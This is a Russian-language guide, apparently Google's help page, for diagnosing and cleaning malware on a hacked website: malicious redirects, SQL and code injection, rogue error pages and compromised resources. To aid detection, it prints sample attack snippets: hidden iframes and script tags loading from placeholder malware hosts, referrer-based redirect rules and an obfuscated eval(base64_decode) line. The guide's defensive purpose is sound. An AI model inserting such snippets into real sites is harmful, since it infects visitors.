Взломан вредоносным ПО

Вредоносное ПО — это любое программное обеспечение или мобильное приложение, специально разработанное для нанесения вреда компьютеру, мобильному устройству, программному обеспечению, на котором оно работает, или его пользователям. Дополнительную информацию о том, что такое вредоносное ПО, см. в разделе Вредоносное и нежелательное ПО .

Если ваш сайт содержит вредоносное ПО, пользователи обычно увидят предупреждение «Этот сайт может нанести вред вашему компьютеру», отображаемое в результатах поиска или на промежуточной странице, отображаемой браузером, когда пользователь пытается посетить ваш сайт, примерно так:

Типичная межстраничная страница вредоносного ПО
Результаты поиска с предупреждением о вредоносном ПО.

Вам понадобится следующее:

  • Доступ администратора оболочки или терминала к серверам вашего сайта: сети, базе данных и файлам.
  • Знание команд оболочки или терминала.
  • Возможность выполнения SQL-запросов к базе данных.

Подготовка

  • Зарегистрируйтесь в Search Console и подтвердите право собственности на свой взломанный сайт, как описано там. Search Console предоставляет образец затронутых страниц, что значительно упрощает поиск и устранение проблем, связанных со взломом вредоносного ПО. Кроме того, вы будете предупреждены, если на ваш сайт будет обнаружено множество типов вредоносных программ или других хакерских атак.
  • Просмотрите страницу диагностики безопасного просмотра Google , чтобы просмотреть общедоступную информацию о том, представляет ли сайт потенциально вредный для пользователей. Статус вашей страницы или сайта можно просмотреть по URL-адресу, подобному этому: https://transparencyreport.google.com/safe-browsing/search?url=***<<page_or_site>>*** пример: https://transparencyreport.google.com/safe-browsing/search?url=webmastercentralblog.blogspot.com

    <<page_or_site>> может представлять собой URL-адрес конкретной страницы ( http://example.com/badpage ) или всего сайта (example.com).

  • Не используйте браузер для просмотра страниц вашего сайта. Поскольку вредоносное ПО часто распространяется путем использования уязвимостей браузера, открытие зараженной вредоносным ПО страницы в браузере может привести к повреждению вашего компьютера. Если в инструкциях по диагностике не указано, что доступ к странице возможен непосредственно в браузере, используйте cURL или Wget для выполнения HTTP-запросов (например, для получения страницы).

    Эти свободно доступные инструменты полезны при диагностике перенаправлений и позволяют включать информацию о реферере или пользовательском агенте. Включение определенного реферера или пользовательского агента полезно для имитации хакеров, поскольку хакеры могут предоставлять вредоносный контент только пользователям с определенными пользовательскими агентами или реферерами, чтобы нацелиться на больше «реальных людей» и избежать обнаружения со стороны владельцев сайтов и сканеров вредоносного ПО.

`curl -v --referer "http://www.google.com" <your-url>`

Вот пример, в котором указаны как пользовательский агент, так и реферер:

`curl -v --referer "https://www.google.com" --user-agent "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FSL 7.0.7.01001)" http://www.example.com/page.html`

Мы рекомендуем получить страницу с --referer "https://www.google.com" или без него, поскольку некоторые вредоносные программы активируются только тогда, когда пользователи переходят из результатов поиска Google.

  • Создайте документ для записи результатов этого шага. В конечном итоге документ будет содержать (как минимум) имя и местоположение каждого поврежденного файла, а также примечания о том, как он был заражен, и послужит основой для очистки и обслуживания вашего сайта .

  • Посмотрите видео ранее на этой странице, чтобы узнать, как работает вредоносное ПО и как можно оставаться в безопасности во время расследования вредоносного ПО.

Диагностика

Определите, какое вредоносное ПО влияет на ваш сайт:

  1. Откройте отчет «Проблемы безопасности» для вашего сайта в Search Console. Разверните описание предупреждения о вредоносном ПО, чтобы увидеть список примеров затронутых страниц. Обратите внимание, что этот список не является исчерпывающим; на вашем сайте могут отсутствовать примеры страниц для всех типов вредоносных программ.
  2. Проверьте свои примеры страниц на наличие следующих типов вредоносного ПО.

Вредоносное ПО конфигурации сервера (нежелательные перенаправления)

Хакер взломал ваш сайт и перенаправляет посетителей с вашего хорошего сайта на сайт атаки вредоносного ПО, вероятно, изменяя файл(ы) конфигурации вашего сервера. Файлы конфигурации сервера обычно позволяют администратору сайта указывать перенаправление URL-адресов для определенных страниц или каталогов на веб-сайте. Например, на серверах Apache это файл .htaccess , а также httpd.conf .

Диагностика

Посетите некоторые из примеров URL-адресов, показанных в отчете «Проблемы безопасности». Ответ от страницы, зараженной вирусом «конфигурация сервера», может включать следующие заголовки:

&lt; HTTP/1.1 301 Moved Permanently
&lt; Date: Sun, 24 Feb 2013 21:06:45 GMT
&lt; Server: Apache
&lt; Location: http://&lt;<strong>_malware-attack-site_</strong>&gt;/index.html
&lt; Content-Length: 253

Определите затронутые файлы

Войдите на свой сервер через оболочку или доступ к терминалу (при желании сайт может быть отключен) и просмотрите соответствующие файлы конфигурации сервера. На вашем сайте может быть более одного взломанного файла конфигурации сервера. Проверьте эти файлы на наличие нежелательных директив, таких как перенаправление на неизвестные сайты. Например, в файле .htaccess вы можете увидеть перенаправление, которое выглядит следующим образом:

RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.*
**RewriteRule ^third-page.html($|/) http://&lt;<em><strong>_malware-site_</strong></em>&gt;/index.html** [R=301]

SQL-инъекция

Хакер взломал базу данных вашего сайта. Например, хакер мог программно вставить вредоносный код в каждую запись таблицы базы данных, поэтому, когда сервер загружает страницу, которой требуется информация из базы данных, вредоносный код теперь внедряется в содержимое страницы и может нанести вред посетителям сайта.

Диагностика

  1. Выполните несколько запросов к затронутым URL-адресам в командной строке и проверьте ответ на наличие слов атаки SQL, таких как «iframe» или «eval».
  2. Войдите на свой сервер базы данных или просмотрите свою базу данных с помощью такого инструмента, как phpMyAdmin . Если вы использовали Wget или cURL, попробуйте сопоставить повреждения, обнаруженные в исходном коде страницы через Wget или cURL, с фактическими записями базы данных. Например, если вы заметили, что ваши страницы содержат опасный iframe, вы можете выполнить SQL-запрос для поиска кода iframe. Например:

    SELECT * FROM blog_posts WHERE post_text LIKE '%&gt;iframe%';
    
  3. Вы также можете проверить журнал базы данных и файлы ошибок на вашем сервере на предмет необычной активности, например неожиданных команд SQL, которые кажутся необычными для обычных пользователей, или ошибок.

Исправить проблему

Либо обновите каждую зараженную запись базы данных, либо восстановите последнюю известную резервную копию базы данных.

Внедрение кода

Страницы вашего сайта были изменены и содержат вредоносный код, например iframe для сайта атаки вредоносного ПО.

Диагностика

Посетите некоторые из примеров URL-адресов, показанных в отчете о проблемах безопасности, с помощью cURL или wGet и проверьте их на наличие подозрительного кода. Внедренный код может принимать разные типы, и его трудно найти. Возможно, будет полезно выполнить поиск по таким словам, как «iframe», чтобы найти код iframe. Другими полезными ключевыми словами являются «script», «eval» и «unescape». Например, чтобы найти все файлы по запросу «iframe» в системах на базе Unix:

$grep -irn "iframe" ./ | less</pre>

Вот некоторые распространенные шаблоны вредоносного ПО, на которые следует обратить внимание.

iframe, загружающий вредоносный сайт:

&lt;iframe frameborder="0" height="0" src="http://&lt;<strong><em>_malware-site_</em></strong>&gt;/path/file"
  style="display:none" width="0"&gt;&lt;/iframe&gt;

JavaScript или другой язык сценариев, который вызывает и запускает сценарии с сайта атаки:

&lt;script type='text/javascript' src='http://&lt;<em><strong>_malware-site_</strong></em>&gt;/js/x55.js'&gt;&lt;/script&gt;

Скрипт, перенаправляющий браузер на сайт атаки:

&lt;script&gt;
  if (document.referrer.match(/google\.com/)) {
    window.location("http://&lt;<em><strong>_malware-site_</strong></em>&gt;/");
  }
&lt;/script&gt;

Вредоносный код, замаскированный во избежание обнаружения:

eval(base64_decode("aWYoZnVuaauUl+hasdqetiDi2iOwlOHTgs+slgsfUNlsgasdf"));

Общие объектные файлы, предназначенные для случайной записи вредоносного кода в безопасные сценарии:

#httpd.conf modified by the hacker
LoadModule harmful_module modules/mod_harmful.so
AddModule mod_harmful.c

Шаблоны вредоносных ошибок

Шаблон, используемый для сообщений об ошибках, например «404 Файл не найден», настроен для распространения вредоносного ПО. Таким образом, злоумышленники могут атаковать URL-адреса, которых даже не существует на вашем сайте.

Диагностика

Запросите страницу на вашем сайте, которая не существует или выдает ошибку другого типа, и проверьте ответ, чтобы определить, исходит ли он с другого сайта или содержит ли оно иное вредоносное ПО.

Исправить проблему

Войдите на свой веб-сервер и найдите в файлах конфигурации сервера директивы страницы ошибок. Например, шаблон ошибки для веб-серверов Apache можно объявить в файле .htaccess . Вот пример записи файла .htaccess , которая извлекает страницы ошибок 404 с вредоносного сайта:

ErrorDocument 404 http://&lt;<span class="red-text"><em><strong>_malware-site_</strong></em></span>&gt;/index.html

Когда вы будете готовы очистить свой сайт, либо замените файлы .htaccess на заведомо исправную резервную копию, либо удалите ненужные директивы ErrorDocument в существующих файлах .htaccess . Обязательно очистите файлы ошибок, если они существуют на вашем сайте. Наконец, перезапустите веб-сервер, чтобы убедиться, что все изменения вступили в силу.

Загрузка ресурсов со скомпрометированного или вредоносного сайта {compromized-resources}

Ваш сайт использует контент или ресурсы с веб-сайта, который, как известно, содержит вредоносный контент. Это могут быть файлы JavaScript, изображения или другие файлы. Из-за этого ваш сайт будет помечен на наличие вредоносного ПО, загруженного с другого сайта.

Диагностика

Посетите некоторые из примеров URL-адресов, показанных в отчете «Проблемы безопасности».

Исправить проблему

  1. Подтвердите проблему, просмотрев несколько примеров URL-адресов, перечисленных в отчете «Проблемы безопасности» в Search Console. Вы должны увидеть предупреждение браузера.
  2. Предупреждение браузера укажет вам домен сомнительного контента. Удалите все ссылки на помеченный сайт, указанные в предупреждении браузера. Если контент помеченного сайта был включен без вашего ведома, проблема более серьезная. Скорее всего, ваш сайт был скомпрометирован, и вам следует продолжить его проверку на наличие других хаков и уязвимостей.
  3. Если вы намеренно включили контент с законного сайта, который был помечен пометкой, и хотите повторно включить этот контент после очистки помеченного сайта, вы можете отслеживать состояние помеченного сайта с помощью страницы диагностики безопасного просмотра Google для этого сайта ( http://www.google.com/safebrowsing/diagnostic?site=www.example.com ){:.external}. Владельцы легальных сайтов обычно быстро их очищают.

Дополнительное расследование

Затем проверьте наличие дополнительных вредоносных файлов или изменений в вашей системе. Хакер мог изменить существующие страницы или записи базы данных, создать совершенно новые страницы со спамом, написать функции, отображающие спам на чистых страницах, или оставить «черные ходы», позволяющие хакеру повторно войти на ваш сайт, или повторно внедрить вредоносный код. что вы удалили.

Если ваш сайт доступен в Интернете, рассмотрите возможность отключения его для проведения расследования.

Если у вас есть заведомо исправная резервная копия вашего сайта, определите, какие файлы были созданы или изменены после резервного копирования, и изучите их. В системах на базе Unix для поиска новых файлов можно использовать команду, подобную следующей:

diff -qr <current-directory> <backup-directory>

Например:

diff -qr www/ backups/full-backup-20120124/

также:

md5sum <current-page> <backup-page>

Например:

md5sum www/page.html backups/full-backup-20120124/page.html

Проверьте журналы сервера, доступа и ошибок на предмет любых подозрительных действий, таких как неудачные попытки входа в систему, история команд (особенно с правами root) и создание неизвестных учетных записей пользователей. Имейте в виду, что хакер мог изменить эти журналы в своих целях. Некоторые примеры показаны в видеоролике « Определение уязвимости» .

Проверьте файлы конфигурации на наличие перенаправлений . Ваши файлы конфигурации обычно называются .htaccess и httpd.conf . Хакеры часто создают условные перенаправления на основе пользовательского агента, времени суток или реферера. Если вам необходимо обновить файлы конфигурации, вам может потребоваться перезагрузить сервер, чтобы изменения вступили в силу.

Проверьте, не слишком ли мягкие права доступа к папкам и файлам. Хакеры подделывают разрешения, потому что, если мягкие разрешения останутся незамеченными владельцем сайта, у хакера будет возможность повторно войти на сайт. Файлы размером более 644 (rw-r--r--) и папки размером более 755 (rwxr-xr-x) могут вызвать проблемы с безопасностью. Убедитесь, что любое более свободное разрешение действительно необходимо. В системах на базе Unix попробуйте:

find <your-dir> -type d -not -perm 755 -exec ls -ld {} \;

и:

find <your-dir> -type f -not -perm 644 -exec ls -la {} \;

Если у вас есть база данных, исследуйте ее запись за записью, используя такой инструмент, как phpMyAdmin .